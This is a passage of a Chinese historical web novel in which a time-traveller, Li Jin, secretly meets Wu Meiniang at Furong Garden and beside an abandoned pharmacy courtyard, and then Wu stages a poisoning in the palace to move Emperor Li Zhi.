他知道武媚娘在宫中的处境定然更加艰难。郭老夫人通过特殊渠道辗转递来的消息语焉不详,只言“兰心苑禁足,用度艰难,武娘子病体恹恹”,但越是含糊,越让李瑾心头沉重。他相信以武媚娘的坚韧,不至被轻易击垮,但那种孤立无援、如临深渊的恐惧与压力,足以摧毁任何人的意志。他们之间的同盟,建立在共同的目标与超越时代的理解之上,但历经流言与各自困境的考验,这份联结是否依旧牢固?她是否会因绝望而改变?是否会因他的“失势”而动摇?
他必须见她一面。不是通过冰冷的密信,而是面对面,看清她的眼睛,确认她的心意,也让她知晓他的决心与谋划。这无比冒险,一旦暴露,便是万劫不复。但有些话,有些事,非当面不能言,不能决。
机会以一种意想不到的方式悄然来临。三月初十,是已故文德皇后长孙氏(长孙皇后)的忌辰。皇帝李治素来孝顺,每年此日,只要不在外巡幸,必会亲至位于长安城东南隅、曲江池畔的“芙蓉园”(皇家园林,内有纪念长孙皇后的祠堂)祭奠,并常在园中小住一两日,静思缅怀。今年虽朝事纷扰,但皇帝依旧下旨,将依例前往。按旧制,皇帝出行,除后宫妃嫔、皇子、近侍,部分特许的宗室、勋贵子弟,以及负责宿卫、仪仗的官员军士外,不得随行。但皇帝或许出于对李瑾“辞官”后境遇的一丝抚慰,或许另有用意,竟在随行名单中,添上了“着前将作监少监李瑾随驾,以备顾问园林修缮诸事”一条。虽加了“前”字,且理由牵强,但这无疑是一个信号——皇帝并未完全弃他。
更让李瑾心中一动的是,随行名单中,还有“兰心苑带发修行武氏,随侍皇后,于佛堂诵经祈福”。王皇后虽厌弃武媚娘,但这种涉及“孝道”与“祈福”的场合,名义上仍需中宫统领六宫,带上“修行”之人,也算勉强说得过去。这或许是皇帝的意思,也或许是王皇后不愿在“孝行”上落人口实。
无论如何,这是一个千载难逢的机会!芙蓉园占地广阔,楼台亭阁、山林池沼交错,虽有禁卫,但比起宫禁森严的大内,私会的机会要大得多,风险也相对可控。
三月初十,清晨。细雨霏霏,为长安城蒙上了一层哀戚的轻纱。长长的车驾仪仗,在羽林卫的拱卫下,浩浩荡荡出了皇城,向东南方的芙蓉园迤逦而行。李瑾身着简单的青色常服,未佩任何官饰,骑马跟在队伍中后部,周围多是些低品阶的随行官员和宗室子弟,无人与他攀谈,他也乐得清静,目光沉静地观察着四周。
抵达芙蓉园后,皇帝、皇后、萧淑妃等人入驻核心区域的“紫云楼”、“澄辉堂”等处。李瑾被安置在外围一处名为“听雨轩”的僻静客院,与几位管理园圃、修缮的杂官相邻。武媚娘则随皇后入住内苑,具体所在不得而知。
祭奠仪式庄严肃穆,在细雨中进行。李瑾作为“随驾”人员,只能在较远处跟随行礼。他看到了皇帝沉静哀思的侧脸,看到了王皇后强撑的端庄,也看到了萧淑妃刻意表现出的恭谨与一丝不易察觉的志得意满。在皇后身后那群低眉顺目的宫女与“修行”女眷中,他捕捉到了一个熟悉的身影。她穿着一身洗得发白的灰色淄衣,未施脂粉,头发用最简单的木簪绾起,低垂着头,身姿却挺得笔直,在细雨和哀戚的氛围中,显得格外单薄,却又透着一种孤竹般的韧劲。是武媚娘。她似乎感应到他的目光,极快地抬起眼睫,朝他这个方向瞥了一眼。目光相接,只是一瞬,便又迅速垂下。但那一瞬,李瑾看到了她眼中深藏的疲惫、一丝如释重负,以及更深处燃烧的、不肯熄灭的火焰。
他的心,略定。
仪式结束,众人散去。皇帝回“紫云楼”静思,皇后、妃嫔等各自回住处。细雨依旧未停,园林中雾气氤氲,更添幽深。李瑾回到“听雨轩”,静待时机。他已通过李福,买通了一名在芙蓉园当值多年、贪财但嘴不算太松的老内侍,知晓内苑西南角有一处废弃的“藕香榭”,临水而建,位置偏僻,年久失修,平日少有人至,且有一道不易察觉的侧门,可通往外苑一片竹林。他将见面地点定在那里,时间定在酉时三刻(约傍晚六点),天色将暗未暗,细雨迷蒙,便于隐蔽。
酉时初,李瑾借口勘察园中一处待修的水廊,带着一名扮作小厮的心腹护卫,悄然离开“听雨轩”,钻入了雨雾弥漫的园林。他熟悉芙蓉园的布局(前世记忆与近期查阅图志),绕开主要道路和巡逻岗哨,在假山、竹林、花木的掩映下,向“藕香榭”摸去。细雨打湿了他的衣衫和头发,带来阵阵寒意,但他的心却跳得很快。
接近“藕香榭”时,他示意护卫在竹林边缘隐蔽警戒,自己则闪身来到那扇虚掩的、爬满藤蔓的破旧侧门前。深吸一口气,轻轻推开。木门发出“吱呀”一声轻响,在沙沙的雨声中并不明显。
榭内光线昏暗,临水的窗户破损,冷风裹着雨丝吹入。空气中弥漫着木头腐朽和尘土的气息。一道灰色的身影,正静静立在破损的窗前,望着窗外烟雨朦胧的湖面。听到门响,她缓缓转过身。
是武媚娘。她依旧穿着那身灰色淄衣,身形似乎比之前更加清减,脸色在昏光中显得异常苍白,只有那双眸子,在看到他时,骤然亮起,如同暗夜中点燃的星辰,瞬间驱散了周身的疲惫与寒意。
两人隔着数步距离,静静对视。一时间,只有窗外沙沙的雨声,和彼此略显急促的呼吸声。
“你来了。” 武媚娘先开口,声音有些低哑,却异常平静。
“我来了。” 李瑾走近几步,目光在她脸上仔细梭巡,看到了那眼下无法掩饰的青黑,看到了她唇角因干燥而起的细微裂痕,也看到了她眼中那不容错辨的坚韧。“你……受苦了。”
武媚娘轻轻摇了摇头,唇角似乎想弯起一个弧度,却最终只是微微一动:“比之感业寺,不过换了个地方。倒是你……” 她看着他身上被雨打湿的常服,眼中掠过一丝复杂难言的情绪,“朝堂辞官,脱袍去印……李瑾,你何至于此?”
“流言如刀,不得不为。” 李瑾简短道,目光不曾离开她的眼睛,“唯有如此,方能破局,也方能……逼出那些魑魅魍魉。只是,连累你在宫中,处境更为艰难。兰心苑之事,我已听闻大概。是我思虑不周。”
“与你无关。” 武媚娘断然道,声音微冷,“萧淑妃视我为眼中钉,王皇后本就靠不住。没有流言,她们也会找别的借口。你能以辞官自保,并引得陛下追查,已是……极好了。” 她顿了顿,声音低了下去,“只是,你如今被软禁府中,失了权位,未来……”
“权位可失,亦可再得。” 李瑾打断她,语气坚定,“陛下令我‘随驾’,便是未弃我。流言源头,陛下心中已有数。萧瑀一系看似猖狂,实则已触陛下逆鳞。我之所长,在‘实学’,在‘格物’,在能为大唐开疆拓土、富国强兵之策。只要陛下志在进取,便不会真的弃我。眼下蛰伏,正是蓄力之时。”
他看着武媚娘苍白却清亮的脸:“倒是你,宫中步步杀机。王皇后厌弃,萧淑妃狠毒,陛下态度不明。你……可还撑得住?可有什么打算?”
武媚娘走到窗边,望着窗外迷蒙的雨雾,沉默片刻,缓缓道:“撑不住,也要撑。至于打算……” 她转过身,目光锐利地看向李瑾,“你可还记得,我曾在信中与你提过,感业寺三年,我并非只是枯坐念佛?”
李瑾点头:“自然记得。你暗中经营,慧明师太、郭老夫人,乃至宫中一些旧人,皆可为援。”
“不错。” 武媚娘眼中闪过一丝冷芒,“宫中势利,人心似鬼。然,锦上添花易,雪中送炭难。越是此时,越能看清,哪些人是墙头草,哪些人……或许能为我所用。王皇后靠不住,我便不能再指望她。萧淑妃欲置我于死地,我亦不能再坐以待毙。”
“你要如何做?” 李瑾心中一紧。
“陛下忌惮萧瑀外戚坐大,亦对王皇后有所不满,然国本之事,牵一发而动全身。” 武媚娘的声音压得极低,却字字清晰,“我需要一个机会,一个能让陛下看到我,且看到我不同于王后之刻板、萧妃之跋扈的机会。我要让陛下知道,我武媚娘,并非只会以色事人,或枯坐念经的弱女子。我懂他的心,懂他的抱负,也懂……这帝国的隐忧与未来。”
她的话,与李瑾心中的某些想法不谋而合。皇帝李治,并非庸主,他有抱负,亦有隐忧。萧瑀代表的守旧势力,王皇后的无能,或许都让他感到掣肘与无奈。
“所以,你在兰心苑……” 李瑾若有所思。
“抄经祈福,是‘本分’。但仅有本分,不够。” 武媚娘眼中闪过一丝决绝,“我需要一场‘意外’,一场能让陛下记住,且心生怜惜,甚至……有所触动的‘意外’。此事我已有些计较,但需天时地利,更需……你在宫外的些许配合。”
“你说。” 李瑾毫不犹豫。
武媚娘走近一步,声音低得几不可闻,快速而清晰地说出了一番话。李瑾听着,初时一惊,随即眉头紧锁,陷入沉思,最终缓缓点头:“此计……甚险。但若成,或可一举数得。只是,你自身安危……”
“置之死地,而后生。” 武媚娘语气平淡,却带着不容置疑的决绝,“我在宫中,已是死地。不搏,便是坐以待毙。搏一搏,或许还有生机,甚至……更进一步的可能。李瑾,你我同盟,非为儿女私情,乃为共同之志。你若信我,便助我。若觉风险太大,此刻便可抽身,我绝不怨你。”
她抬起眼,目光清澈而锐利,直视着李瑾,等待他的回答。那目光中,有试探,有期待,更有一种破釜沉舟的孤注一掷。
李瑾看着眼前这个在绝境中依然冷静谋划、甚至不惜以身犯险的女子,心中涌起复杂的情绪。有敬佩,有怜惜,更有一种同道中人的深切共鸣与决意。他忽然伸出手,轻轻握住了她冰冷而微微颤抖的手。
武媚娘身体一僵,却没有抽回。
“我说过,” 李瑾的声音低沉而坚定,目光灼灼,“时机将临,静待风起。 如今风已起,你我皆是风中飘萍,唯有携手,方能不覆。你的计划,我助你。你需要什么,只要我能办到,必不推辞。但有一点,” 他握紧她的手,“务必保全自身。 你若有事,一切皆休。”
感受到他手心传来的温度和力量,武媚娘冰冷的心仿佛注入了一丝暖流。她反手,也轻轻回握了一下,随即迅速抽回,脸上却飞起一丝极淡的红晕,在昏暗中看不真切。
“我知道。” 她低声道,语气柔和了些许,“你也需小心。萧瑀不会放过你,陛下……心思也难测。‘格物所’是你根基,万不可失。”
“放心。” 李瑾点头,“于公、阎公会尽力维持。工坊那边,王掌柜也能稳住。只要陛下心思未变,我们就还有时间。”
两人又低声商议了一些细节,约定了日后紧急联络的暗号和渠道。时间紧迫,不能久留。
“该走了。” 武媚娘望向窗外渐浓的暮色和未停的细雨,“今日一会,我心已定。李瑾,前路凶险,各自珍重。但愿……他日能在更高处,再见。”
“一定。” 李瑾深深看了她一眼,仿佛要将她此刻的样貌刻入心底,“保重。”
武媚娘不再多言,最后看了他一眼,转身,如同一抹灰色的幽影,悄无声息地消失在榭内另一侧的破门后,融入雨雾迷蒙的园林深处。
李瑾在原地又站了片刻,平复了一下心绪,才转身,按原路悄然返回。雨丝依旧冰凉,但他的心却不再迷茫,反而充满了前所未有的坚定与斗志。
密会芙蓉园,虽只短短一刻,却让两颗在风暴中飘摇的心,重新紧密地联结在一起,也更加明确了前行的方向与决心。他们互诉了困境,也交换了胆魄与信任。这是一场豪赌,赌的是皇帝的智慧与野心,赌的是他们对时局的精准判断,也赌的是彼此的能力与运气。
然而,深宫与朝堂的博弈,从来容不得半分侥幸。他们的计划能否成功?这场以性命和前途为注的冒险,又将把两人推向怎样的命运漩涡?
雨,还在下。芙蓉园的夜晚,格外宁静,却也似乎蕴藏着更深的、不为人知的波澜。
第68章 心结终得解
芙蓉园密会之后,李瑾与武媚娘各自回到了看似平静、实则暗流汹涌的日常轨道。李瑾继续“静思”于崇仁坊宅邸,每日读书习字,偶尔“奉旨”过问一些无关紧要的园林修缮旧档,仿佛真的成了闲云野鹤。但通过李福和王掌柜,一道道隐秘的指令悄然送出,针对武媚娘计划中所需的“配合”,开始紧锣密鼓地准备。他必须确保万无一失,因为这场豪赌,赌上的不仅是武媚娘的性命与前程,也关系着他自己能否打破困局,重获皇帝信任。
武媚娘回到兰心苑,禁足依旧,用度依旧苛刻,但她的心境已然不同。与李瑾的会面,那短暂却有力的握手,那番坦诚的交流,如同在漆黑冰冷的深渊底部,投下了一根坚韧的绳索,让她有了攀爬的方向与力量。她不再仅仅是绝望中的困兽,而是一个冷静的猎手,开始耐心地布置陷阱,等待猎物踏入,也等待那个能将陷阱化为阶梯的“意外”时机。
然而,在紧锣密鼓的筹谋与等待之中,一丝难以言喻的、微妙的心结,却如同水底的暗礁,悄然浮现在李瑾的心头。这心结,并非源于对武媚娘的不信任,也非源于对计划的疑虑,而是源于那日芙蓉园中,她谈及计划时,眼中一闪而过的、那种近乎自我献祭般的决绝光芒,以及她抽回手时,那冰冷却带着一丝颤抖的触感。
他自诩了解历史,了解那个未来将登临绝顶、手段果决的武则天。他欣赏她的智慧、隐忍与野心,也将她视为这个时代唯一可能理解并支持他宏大抱负的盟友。他们之间的联结,建立在超越时代的知识共享、共同的政治利益以及对未来的野望之上,理性而坚固。可那日雨中,她苍白而单薄的身影,眼中深藏的疲惫与孤注一掷,还有那句“置之死地,而后生”,却让他第一次如此清晰地意识到,她首先是一个活生生的人,一个在深宫绝境中挣扎求存、甚至不惜碾碎自身一部分来换取生机的女人,其次才是那个历史上的“武则天”。
他的计划,他的“实学”大业,他的帝国蓝图,是否在无形中,将她推向了更危险的境地?他助她回宫(虽非直接),是否也在助长她内心那头名为“权力”的野兽?而当这头野兽真正 unleashed 之时,她是否还会是今日这个愿意与他携手、坦诚相对的“盟友”?史书上的她,可是连亲生骨肉都能牺牲的狠角色……
这些念头,如同细小的毒刺,在他静思时偶尔冒出来,带来一丝隐痛与不安。他知道,在权力与生存的博弈中,过于丰沛的“同理心”可能是致命的弱点。但他无法完全抹去这些思绪。毕竟,他来自一个不同的时代,骨子里烙印着对个体生命的某种尊重,即使对方是武则天。
他需要再次确认。不是确认计划,而是确认……某种更本质的东西。确认他们之间,除了利益与野心的捆绑,是否还有一丝超越这些的、足以在未来的惊涛骇浪中作为压舱石的东西——比如,某种程度的真诚,或者,底线。
机会,以一种意想不到的方式再次降临。三日后,太医署刘神威奉皇后之命(实则是例行巡查),前往各宫苑为宫人诊看春疾。在“恰好”路过兰心苑时,他以“闻苑中有内侍病重”为由,请求入内一看。守门内侍本欲阻拦,但刘神威搬出“皇后仁德,体恤下人,若因延误致宫人死亡,尔等担待不起”的大帽子,又悄悄塞了点银钱,终是得以进入。
刘神威为哑巴内侍仔细诊脉开方后,又“顺带”为武媚娘请了平安脉。诊脉间隙,他以极低的声音快速道:“李郎君有口信:‘芙蓉榭中语,未尽之意,可于今夜亥时三刻,太医署西侧药库旧院门外石灯处一晤。刘太医可作掩护,务必小心。’”
武媚娘心中一震,面上却不动声色,只微微颔首。刘神威留下药方,又高声嘱咐了几句“静养勿忧”的场面话,便告辞离去。
今夜?太医署旧院?这比芙蓉园更加冒险!但李瑾如此急切,必有要事。武媚娘没有犹豫,立刻开始思量如何脱身。亥时宫门下钥,各苑落锁,要外出难如登天。但太医署位于宫城外围,与嫔妃居住的内苑有墙相隔,守备相对松懈。兰心苑位置本就偏僻,靠近西侧宫墙。或许……
夜色如墨,春寒料峭。亥时初,武媚娘换上一身与秋月身形相仿的普通宫女服饰(是秋月省下料子偷偷改的),将脸涂得微黄,头发也简单改梳成宫女样式。她让秋月穿上她的淄衣,坐在佛堂昏暗处佯装诵经,又让冬雪留意门外动静。自己则揣着从刘神威药箱中“顺”来的一点蒙汗药粉(备用),以及一柄磨尖的银簪(防身),悄然从兰心苑一处早已被她暗中弄松的排水口格栅处,艰难地钻了出去。
宫墙夹道,漆黑寂静,只有远处巡逻卫士的脚步声和梆子声隐约传来。她凭着记忆和刘神威暗中留下的简图,在阴影中快速穿行,心跳如鼓。几次险些与巡逻队撞上,都险之又险地提前躲入假山或树丛。冰冷的汗水浸湿了内衫。
终于,她看到了太医署那排低矮的房舍,以及西侧那片废弃的旧药库院落。院墙坍塌了一角,无人修理。院门外,果然有一盏残破的石灯。此刻,石灯旁空无一人。
她警惕地四下张望,确认无人,才迅速闪到石灯后的阴影里。时间一点一点过去,亥时三刻将至。就在她几乎以为李瑾不会来、或出了意外时,一个黑影如同鬼魅般,从另一侧的矮墙后悄然出现,迅速靠近。
是李瑾。他也做了一番伪装,穿着内侍的深色衣袍,脸上似乎也做了些许修饰,在黑暗中难以辨认。但武媚娘一眼就认出了那双眼睛。
“你……” 武媚娘刚想开口,李瑾迅速竖起手指抵在唇边,然后指了指旧院墙的缺口。两人默契地一前一后,悄无声息地钻过缺口,进入废弃的院落。
院内荒草·过膝,断壁残垣,一间半塌的药库在月光下投出狰狞的影子。空气中弥漫着陈腐的药草和尘土气息。这里确实是个绝佳的隐蔽之所。
“为何冒险至此?” 武媚娘压低声音,语气带着疑惑与一丝不易察觉的关切,“可是出了变故?”
李瑾借着微弱的月光,仔细打量着她,确认她无恙,才缓缓摇头:“非是变故。只是……有些话,那日在芙蓉园,未能尽言。心中郁结,辗转反侧,终觉需与你当面说清。”
武媚娘微微一怔,没想到他如此大费周章,竟是为了“说话”。她心中那根弦下意识地绷紧:“何事?可是关于计划有疑虑?”
“计划无误,一切依计行事。” 李瑾的声音在寂静的荒院中显得格外清晰,“我想说的,是计划之外的事。是……关于你,也关于我。”
他停顿了一下,似乎在组织语言,然后直视着武媚娘的眼睛,声音低沉而诚恳:“媚娘,那日你说‘置之死地,而后生’。我知你决心,亦钦佩你胆魄。然,我助你,非仅为利用你达成我所图之事,更非欲见你以身犯险,玉石俱焚。”
武媚娘心头微震,面上却不动声色:“李郎何出此言?你我同盟,各取所需。我若事成,于你亦有大益。些许风险,自当承担。”
“我知道。” 李瑾点头,“但我想让你知道,在我心中,你并非一枚可随意牺牲的棋子,亦非仅仅是一个‘未来可期的盟友’。” 他向前一步,目光灼灼,“你是武媚娘,一个在绝境中依然能冷静谋划、胆识过人的奇女子。你的才智,你的坚韧,远胜这宫中许多须眉。我助你,是因我信你,亦惜你。”
这番话,超出了纯粹的利益算计,带着一种罕见的、对“人”本身的认可与尊重。武媚娘自幼入宫,见惯倾轧,听惯虚情,所求无非是“有用”与“被用”。何曾有人对她说过“信你”、“惜你”这样的话?尤其还是在她如今这般狼狈不堪、几乎被所有人弃之如敝履的境地。
她喉头微哽,一时间竟不知如何回应,只觉眼眶有些发热,连忙偏过头去,借着夜色遮掩。
李瑾继续道:“我知你处境,如履薄冰,步步杀机。你欲搏命一赌,我理解,亦支持。但我要你答应我一事。”
“何事?” 武媚娘声音微哑。
“无论计划成功与否,无论将来你登上何等高位,” 李瑾一字一顿,语气郑重如誓,“请务必,守住心中一点清明,莫要让这深宫的黑暗,完全吞噬了你原本的模样。 权力是工具,是阶梯,但不应是全部,更不应让你变成……连自己都厌恶的人。”
他这是在提醒她,也是在提醒自己。他害怕那个“历史”上的武则天,也害怕自己会成为塑造那个“武则天”的推手之一。
武媚娘霍然转头,看向李瑾,月光下,她的眼睛亮得惊人,里面翻涌着复杂的情绪:震惊、不解、触动,还有一丝被触及内心深处隐秘角落的慌乱。
“你……你可知你在说什么?” 她声音微微发颤,“在这宫里,心慈手软,便是取死之道。我若不狠,不择手段,早已尸骨无存!”
“我并非要你心慈手软。” 李瑾摇头,目光坦荡,“该争的要争,该狠的要狠,该谋的要谋。但底线不可失。譬如,不伤及无辜稚子(他意有所指,暗指未来可能的皇子之争);譬如,不因猜忌滥杀忠良(指未来可能的酷吏政治);譬如,记得初衷,并非仅为权力而权力,而是……让自己,也让这天下,变得更好些,哪怕只是一点点。”
他无法说得太明,只能如此暗示。但这番话,对武媚娘而言,已是石破天惊。从未有人,在她汲汲于生存与上升之时,对她谈论“底线”与“初衷”。这听起来如此天真,如此……不切实际。然而,从李瑾口中说出,结合他那些同样看似“天真”却卓有成效的“实学”与“开拓”之论,却又奇异地具有一种说服力。
她沉默了许久,荒院中只有风吹过断垣的呜咽声。良久,她才缓缓开口,声音异常平静:“李瑾,你可知,我为何一定要往上爬,甚至不惜一切?”
“为何?”
“因为,我从入宫那日起,便已无路可退。” 武媚娘的声音带着一种冰冷的穿透力,“先帝时,我是才人,如蝼蚁。先帝去后,我入感业寺,更是生不如死。王皇后接我回宫,看似恩典,实则是将我置于炭火之上。萧淑妃视我为眼中钉,必欲除之而后快。陛下……心思难测。在这深宫,不往上,便是万丈深渊。我不想再被人随意摆布,不想再经历感业寺那种朝不保夕、任人宰割的日子。我要掌握自己的命运,唯有权力!”
她顿了顿,看向李瑾,眼中闪烁着复杂的光芒:“你说‘惜我’,‘信我’。我很感激。真的。但我也要告诉你,若真到了生死关头,若权力与你所谓的‘底线’冲突……我或许,会选择权力。因为那是我活下去、并且活得更好的唯一凭仗。这样的我,你还敢‘信’,还敢‘惜’吗?还敢与我同盟吗?”
这是她第一次,如此赤裸裸地、近乎残酷地,剖析自己的内心,也将最尖锐的问题抛回给了李瑾。她在试探,也在确认。
李瑾没有立刻回答。他静静地看着她,月光勾勒出她苍白而倔强的侧脸。他知道,这是真实的武媚娘,一个在封建宫廷绝境中淬炼出来的、将生存与权力视为终极目标的灵魂。史书上的评价,后世的毁誉,在这一刻显得如此苍白。眼前的,只是一个在拼命挣扎、不想被吞噬的女人。
“我信。” 李瑾最终开口,声音不大,却异常坚定,“我信你的选择,是环境所迫,是求生之智。我亦惜你,惜你的才智不甘被埋没,惜你的生命力如此顽强。至于底线……” 他苦笑了一下,“或许是我奢求。但请至少记住,这世上,并非所有人都欲害你。至少,我李瑾,愿与你并肩,走一条或许更艰难,但或许也能走得更远、更问心无愧的路。若真有那一日,你我道不同……届时,再分道扬镳不迟。但至少现在,此刻,我们是同盟,是……可以托付后背的伙伴。”
他没有虚伪地承诺“无论如何都支持”,而是承认了现实的残酷与可能的分歧,但也明确表达了此刻的信任与并肩的决心。这种坦诚,反而让武媚娘心中最后一丝疑虑与防备,悄然消散。
她忽然觉得,心中那块压了许久的、名为“孤绝”的巨石,松动了一些。原来,在这冰冷的世界,真的有人,不因她的美色(此刻她毫无颜色),不因她的利用价值(他自身已“失势”),而仅仅因为她是“武媚娘”,而愿意与她并肩,甚至试图将她从纯粹的黑暗权谋中,拉向一丝有光的方向。
尽管那光可能微弱,前路可能依旧黑暗,但至少,有人同行。
“好。” 武媚娘深吸一口气,眼中重新恢复了冷静与锐利,但似乎又多了一点不同的东西,“你的话,我记下了。底线……我会尽量。但你也需记住,在这宫中,妇人之仁,只会害人害己。若遇阻碍,我出手不会留情。”
“我明白。” 李瑾点头,“该决断时,自当决断。只是莫让杀戮与猜忌,成为习惯,蒙蔽了双眼。”
两人相视片刻,都从对方眼中看到了理解与一种更深层次的确认。这次谈话,没有解决所有问题,甚至暴露了潜在的分歧,但却奇异地让他们之间的联结更加牢固。因为他们彼此更加真实,也更加了解对方的底线与坚持。
“该回去了。” 武媚娘看了看天色,“刘太医那边,拖不了太久。”
“嗯。一切小心。计划照旧,若有变,老方法联络。” 李瑾叮嘱。
武媚娘点点头,不再多言,最后深深看了他一眼,转身,如同来时一样,悄无声息地消失在荒院的阴影与断墙之外。
李瑾独自站在废墟中,望着她消失的方向,心中一片澄明。心结已解。他确认了,也接受了。他们的同盟,将建立在更复杂、更真实,但也可能更坚韧的基础上。未来如何,且行且看。但至少此刻,他们目标一致,心意相通。
夜空寂寥,星子微茫。但李瑾知道,真正的风暴,或许即将随着他们这番交心与确认,而被正式点燃。而他和她,已做好准备,携手迎向那不可测的惊涛骇浪。
第69章 帝心亦怜之
三月十五,月圆之夜。宫中的气氛,在流言被强力压制、皇帝态度曖昧的平静表象下,却如同冰封的河面,看似坚固,实则暗流汹涌,随时可能因一处微小的裂痕而轰然崩塌。李瑾与武媚娘两次密会交心,彼此确认了同盟的底线与方向,也各自按计划悄然推进。然而,他们精心策划的、用以打破僵局、触动帝心的“意外”,尚未等到最佳时机,一场真正的、猝不及防的危机,却以更加凶险的方式骤然降临。
这一日,原本是宫中例行向各宫苑分发春日预防时疫药茶的日子。药茶由太医署统一配制,分送到各宫主位,再由主位分发至下辖宫人。兰心苑依附皇后,药茶本应由立政殿统一领取后分发。然而,这一日午后,一名面生的、自称是尚食局小内侍的宦官,却提着一个食盒,径直来到兰心苑外,声称奉皇后之命,特赐“兰心苑武氏及宫人滋补药膳一份”,以慰其“清修辛苦”。
守门内侍不疑有他(皇后偶尔也会有些象征性赏赐),又见食盒上有立政殿的标记,便放入。食盒送到武媚娘面前时,秋月正欲打开,武媚娘却心中警铃大作。皇后如今对她厌弃至极,怎会突然“特赐药膳”?且这内侍面生,举止也略显匆忙。她阻止了秋月,仔细检查食盒,发现底层夹缝处,似乎有些细微的、不同于寻常药膳气味的甜腻气息。
“慢着。” 武媚娘沉声道,心中念头飞转。是萧淑妃借皇后之名下毒?还是皇后想借刀杀人,顺势除掉她这个“麻烦”?抑或是……其他想搅浑水的人?无论哪种,这食盒都绝对碰不得!
然而,直接拒收或揭露,都可能打草惊蛇,甚至被反咬一口“疑心皇后”、“不识好歹”。她必须想个既能自保,又能将计就计的办法。电光石火间,一个大胆的念头闪过——将计就计,但要让这“计”,以最惨烈、也最能触动某些人的方式暴露出来!
她示意秋月附耳过来,低声快速吩咐几句。秋月脸色煞白,但见主子目光坚定,咬牙点头。武媚娘又对冬雪道:“你立刻悄悄去寻刘太医,就说我突发急症,腹痛如绞,请他速来!记住,务必惊动沿途一些人,但别说具体,只说突发急症!”
冬雪虽不明所以,也赶紧去了。
接着,武媚娘取出那日从刘神威那里“顺”来、以备不时之需的少量蒙汗药粉,又找出一点巴豆粉(兰心苑老鼠多,备了些),混合少量茶水,自己先服下少许。不多时,药力发作,她脸色开始发白,额冒虚汗,捂着腹部,发出痛苦的**。
“来人!快来人!娘子不好了!” 秋月按照吩咐,惊慌失措地跑到院门口大喊。守门内侍闻声进来查看,只见武媚娘蜷缩在地,面色痛苦,地上还有呕吐的痕迹(她催吐所致),旁边放着打开盖子的食盒,里面是颜色可疑的羹汤。
“这……这是怎么了?” 内侍也慌了。
“不知道!娘子用了皇后赐下的药膳不久,就……就这样了!” 秋月哭道,“快去禀报!请太医!请皇后殿下做主啊!”
消息如同插了翅膀,飞向后宫各处。皇后闻讯,又惊又怒,她根本没赐什么药膳!立刻意识到被人栽赃,一边气急败坏地命人彻查,一边又不得不做姿态,吩咐速请太医,并派人去兰心苑查看。萧淑妃在披香殿得知,先是一惊,随即冷笑:“真是天助我也!不管是谁下的手,武媚娘这次不死也残!正好除掉这个祸害!” 但旋即又担心火会不会烧到自己身上,连忙吩咐手下人扫清一切可能的痕迹。
皇帝李治正在两仪殿批阅奏章,闻听内侍急报“兰心苑武氏突发急症,疑似中毒,昏迷不醒”,执笔的手猛地一顿,朱砂滴落,在奏疏上洇开一团刺目的红。他霍然抬头:“中毒?何人下毒?皇后所赐药膳?” 声音带着难以置信的寒意。
“回陛下,皇后殿下否认曾赐药膳,已命人封锁兰心苑,并请太医署正、副两位署令一同前往诊治。具体情形尚未查明。” 内侍战战兢兢。
李治脸色阴沉得能滴出水来。流言未熄,又出下毒?还是借皇后之名?这后宫,当真无法无天了!他猛地起身:“摆驾,朕要亲自去兰心苑!”
“陛下,龙体要紧,恐有污秽……” 内侍想劝。
“摆驾!” 李治厉声打断。他必须亲自去看,这到底是怎么回事!是皇后狗急跳墙?是萧淑妃狠下毒手?还是……那个看似柔弱的武媚娘,自导自演的一出苦肉计?
皇帝御驾突然驾临兰心苑,让本就混乱的场面更加紧张。院内外跪了一地。皇后脸色铁青地站在一旁,萧淑妃也“闻讯”匆匆赶来,脸上带着恰到好处的“忧虑”。太医署正、副署令正在内室紧急施救。
李治没有理会皇后和萧淑妃,径直走入内室。只见武媚娘躺在简陋的床榻上,双目紧闭,脸色惨白如纸,嘴唇泛着不正常的青色,额上满是冷汗,气息微弱。两名太医正在施针灌药,秋月、冬雪跪在床边哭泣。屋内弥漫着一股药味和淡淡的酸腐气。地上,那个打开的食盒格外刺眼。
“情况如何?” 李治沉声问。
太医署正连忙回禀:“陛下,武娘子确是中毒迹象,所幸摄入似乎不多,且发现及时,催吐得当。毒性……似是一种混合毒物,颇为蹊跷,臣等正在尽力解毒,暂无性命之忧,然元气大伤,需长期将养。”
“可能查出毒物来源,何种成分?” 李治追问。
“这……需仔细查验剩余羹汤及呕吐之物。” 太医署正迟疑道,“然其中几味,似是宫外……某些偏方所用。”
宫外偏方?李治眼神更冷。这意味着下毒者可能不仅有内应,还有宫外渠道。
就在这时,一直“昏迷”的武媚娘,仿佛听到了皇帝的声音,眼睫剧烈颤动,竟挣扎着微微睁开了眼睛。她的目光涣散,似乎用了很大力气,才聚焦到李治脸上。然后,她竟然艰难地、试图扯动嘴角,想露出一个笑容,却因痛苦而扭曲,声音细若游丝,断断续续:
“陛……下……您……来了……莫要……担心……是媚娘……自己……不小心……不关……皇后殿下……的事……也莫要……牵连……他人……”
她气息微弱,每说几个字都要喘息,却坚持着,目光恳切地望着李治,仿佛用尽最后力气在澄清、在祈求。说完,仿佛耗尽所有心力,眼睛一闭,再次“昏死”过去,眼角却滑下一行清泪,没入鬓发。
这番“表演”,堪称精湛。她没有指控任何人,反而将责任揽到自己身上(“自己不小心”),还为皇后开脱,更说出“莫要牵连他人”这种以德报怨的话。配合她此刻惨不忍睹的病容和那行“绝望”的眼泪,效果是毁灭性的。
至少,对皇帝李治而言,是毁灭性的。他站在那里,看着榻上那个气息奄奄、却在“昏迷”前仍不忘为他着想、为他人开脱的女子,心中那根名为“猜疑”的弦,被狠狠拨动了。如果她是苦肉计,何至于此?如果她想陷害皇后或萧淑妃,为何不直接指控?反而如此“懂事”地揽下责任?
再联想到她回宫后的谨小慎微,抄经祈福的“虔诚”,以及……李瑾那为了自证清白、不惜辞去一切官职的决绝。李瑾失去权位,困守府中;武媚娘在宫中备受欺凌,如今更险些丧命……这两人,一个在前朝被流言中伤,一个在后宫被毒害,却都表现得如此“隐忍”、“忠君”……
一个念头不可遏制地涌入李治脑海:他们或许真的是被冤枉的,是被某些人(萧瑀?萧淑妃?甚至……)视为障碍,欲除之而后快的忠臣与旧人。而自己,却因流言与猜忌,冷眼旁观,甚至推波助澜……
就在这时,搜查的宦官有了发现。在兰心苑外不远处的水沟里,找到了被丢弃的、与送食盒内侍衣饰相符的衣物碎片,以及一个带有披香殿标记的、装过粉末的细小瓷瓶(李瑾通过王掌柜,利用宫中眼线,巧妙布置的“证据”)。同时,太医在查验剩余羹汤后,也确认其中含有与瓷瓶内残留物相同的罕见毒物成分。
